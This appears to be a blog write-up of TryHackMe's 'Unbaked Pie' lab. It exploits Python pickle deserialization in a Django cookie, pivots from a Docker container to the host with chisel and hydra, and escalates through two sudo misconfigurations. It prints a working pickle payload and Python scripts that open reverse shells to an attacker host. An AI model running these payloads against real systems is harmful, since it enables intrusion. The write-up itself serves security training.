mintshell
VI

Unbaked Pie

A Django search feature trusts a base64 Python pickle cookie; an insecure-deserialization payload gives root inside a Docker container, a weak SSH password reaches the host, and two sudo misconfigurations (a replaceable script, then a PYTHONPATH/SETENV hijack) escalate to root.

Platform
TryHackMe
Room
Unbaked Pie(external link)
Difficulty
Medium
Vulnerabilities
insecure deserialization, weak credentials, insecure sudo configuration
5 min read

A walkthrough of the “Unbaked Pie” room from TryHackMe — a Linux box. A Django app on port 5003 hands you a base64-encoded Python pickle cookie and then deserializes whatever you send back. That is remote code execution by design: the payload lands as *root inside a Docker container**, a cracked SSH password reaches the real host, and two sloppy* sudo rules walk a low-priv user all the way to root.

Unbaked Pie is an authorized training challenge on TryHackMe; everything here was performed against a legal practice target. The cracked password and both flags are shown as <redacted> / THM{<redacted>} — real on the box, withheld here.


TL;DR

TL;DR

Port 5003 is a Django app whose /search sets a base64-encoded Python pickle cookie (search_cookie) → craft a malicious object whose __reduce__ returns os.system(...) and send it back as that cookie → RCE as root inside a Docker container → the container’s .bash_history shows ssh ramsey@172.17.0.1 (the host) → chisel reverse-forwards the host’s SSH → hydra cracks ramsey’s weak SSH password → SSH to the host as ramsey (user flag) → sudo -l: ramsey may run /home/ramsey/vuln.py as oliver, and although the file isn’t writable its directory is, so rename it and drop your own → shell as oliver → oliver may run /opt/dockerScript.py as root with SETENV → set PYTHONPATH=/dev/shm with a malicious docker.py → root.

The target

export IP=<target-ip>
export ATTACKER_IP=<your-ip>
5003/tcp open  http  WSGIServer 0.2 (Python 3.8.6)   # Django, "[Un]baked"

Clicking around the site in Burp, the search feature stands out: after a POST /search, the server sets a cookie search_cookie that base64-decodes to a Python pickle stream.

The vulnerability

The app base64-decodes and pickle.loads() the client-controlled search_cookie with no signing or integrity check. Python’s pickle is not a data format — it is a serialization protocol that can reconstruct arbitrary objects, which means it can run arbitrary code.

Insight

pickle is a tiny programming language, not JSON. When an object is unpickled, Python calls whatever its __reduce__ returns — so controlling the byte stream means controlling what gets called. A class whose __reduce__ returns (os.system, ("cmd",)) runs cmd the instant the server deserializes it. The fix is never a blocklist; it is to never unpickle untrusted input.

echo 'gASVCAAAAAAAAACMBHRlc3SULg==' | base64 -d | xxd | head
# \x80\x04 ... 'test'  -> a pickle of the string "test"

So the server round-trips a pickle it trusts. Time to feed it one of ours.

Step 2 — pickle RCE → root in a container

Build an object whose __reduce__ runs a command, pickle it, base64 it, and send it back as search_cookie on a GET /search. First prove execution with an ICMP ping, then swap in a reverse shell:

import os, pickle
from base64 import b64encode

class Exploit:
    def __reduce__(self):
        cmd = "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP 4444 >/tmp/f"
        return (os.system, (cmd,))

cookie = b64encode(pickle.dumps(Exploit())).decode()
# requests.get("http://$IP:5003/search", cookies={"search_cookie": cookie})
nc -lvnp 4444
# uid=0(root)  hostname 8b39a559b296  (/.dockerenv present) -> root INSIDE a container

Step 3 — pivot off the container → host as ramsey

The container’s root history leaks the way onto the host:

cat ~/.bash_history        # ... ssh ramsey@172.17.0.1
nc -zv 172.17.0.1 1-65535  # 22, 5003 open on the host

The Django db.sqlite3 only holds uncrackable pbkdf2_sha256 admin hashes — a dead end. Instead, tunnel the host’s SSH back with chisel and brute ramsey:

# attacker
./chisel server --reverse -p 8888
# container
./chisel client $ATTACKER_IP:8888 R:127.0.0.1:8889:172.17.0.1:22
# attacker: the host's SSH is now on 127.0.0.1:8889
hydra -l ramsey -P rockyou.txt ssh://127.0.0.1 -s 8889   # ramsey : <redacted>
ssh ramsey@127.0.0.1 -p 8889
cat user.txt               # THM{<redacted>}

Step 4 — sudo rename-and-replace → oliver

sudo -l
# (oliver) /usr/bin/python /home/ramsey/vuln.py

vuln.py is owned root:ramsey and not writable — but it sits in our own home directory, which we can write. Renaming a file doesn’t need write permission on the file, only on the directory, so move it aside and drop our own:

mv vuln.py 1.py
cat > vuln.py <<'EOF'
import socket,subprocess,os
s=socket.socket(); s.connect(("$ATTACKER_IP",4445))
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])
EOF
sudo -u oliver python /home/ramsey/vuln.py   # -> shell as oliver
# id -> uid=1002(oliver) groups=...,1003(sysadmin)

Step 5 — PYTHONPATH / SETENV hijack → root

sudo -l
# (root) SETENV: NOPASSWD: /usr/bin/python /opt/dockerScript.py
cat /opt/dockerScript.py
# import docker ...

The script does import docker, and SETENV lets us keep an environment variable across sudo. Point PYTHONPATH at a directory holding our own docker.py, and Python imports that as root:

cat > /dev/shm/docker.py <<'EOF'
import socket,subprocess,os
s=socket.socket(); s.connect(("$ATTACKER_IP",4446))
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])
EOF
sudo PYTHONPATH=/dev/shm/ python /opt/dockerScript.py   # import docker -> our file -> root
cat /root/root.txt         # THM{<redacted>}

Impact

Critical

Critical — CVSS 3.1 ~9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). Deserializing an attacker-controlled pickle is unauthenticated remote code execution, immediately as root in the container. A reachable host SSH with a weak password turns container compromise into host access, and two sudo rules — a script in a writable directory and a SETENV/PYTHONPATH-injectable interpreter — each hand over a higher-privileged shell, ending at root.

Fix

  • Never pickle.loads() untrusted input. Use JSON or another data-only format, and sign/verify cookies (e.g. itsdangerous). State belongs on the server, not in a client-controlled blob.
  • Treat the container boundary as real. Don’t run the app as root, and don’t leave the host’s SSH one weak password away from a container.
  • Use key-only SSH or strong passwords so brute force fails.
  • Fix the sudo rules. Point them at absolute, non-writable scripts in non-writable directories; never grant SETENV; and never let a sudo’d interpreter inherit PYTHONPATH.

Takeaways

  • A pickled cookie is RCE. base64 + pickle on the wire means “run my code” the moment the server trusts it.
  • A container is not a trust boundary by default. Root in a container plus reachable host SSH is a host compromise waiting to happen.
  • Renaming needs the directory, not the file. A sudo’d script you can’t edit is still yours if its directory is writable.
  • Sudo on an interpreter is sudo on everything it imports. SETENV + PYTHONPATH turns one import into a root shell.

Unbaked Pie is a clean tour of modern web-to-root: deserialization, a container pivot, and sudo/interpreter abuse. Thanks for reading.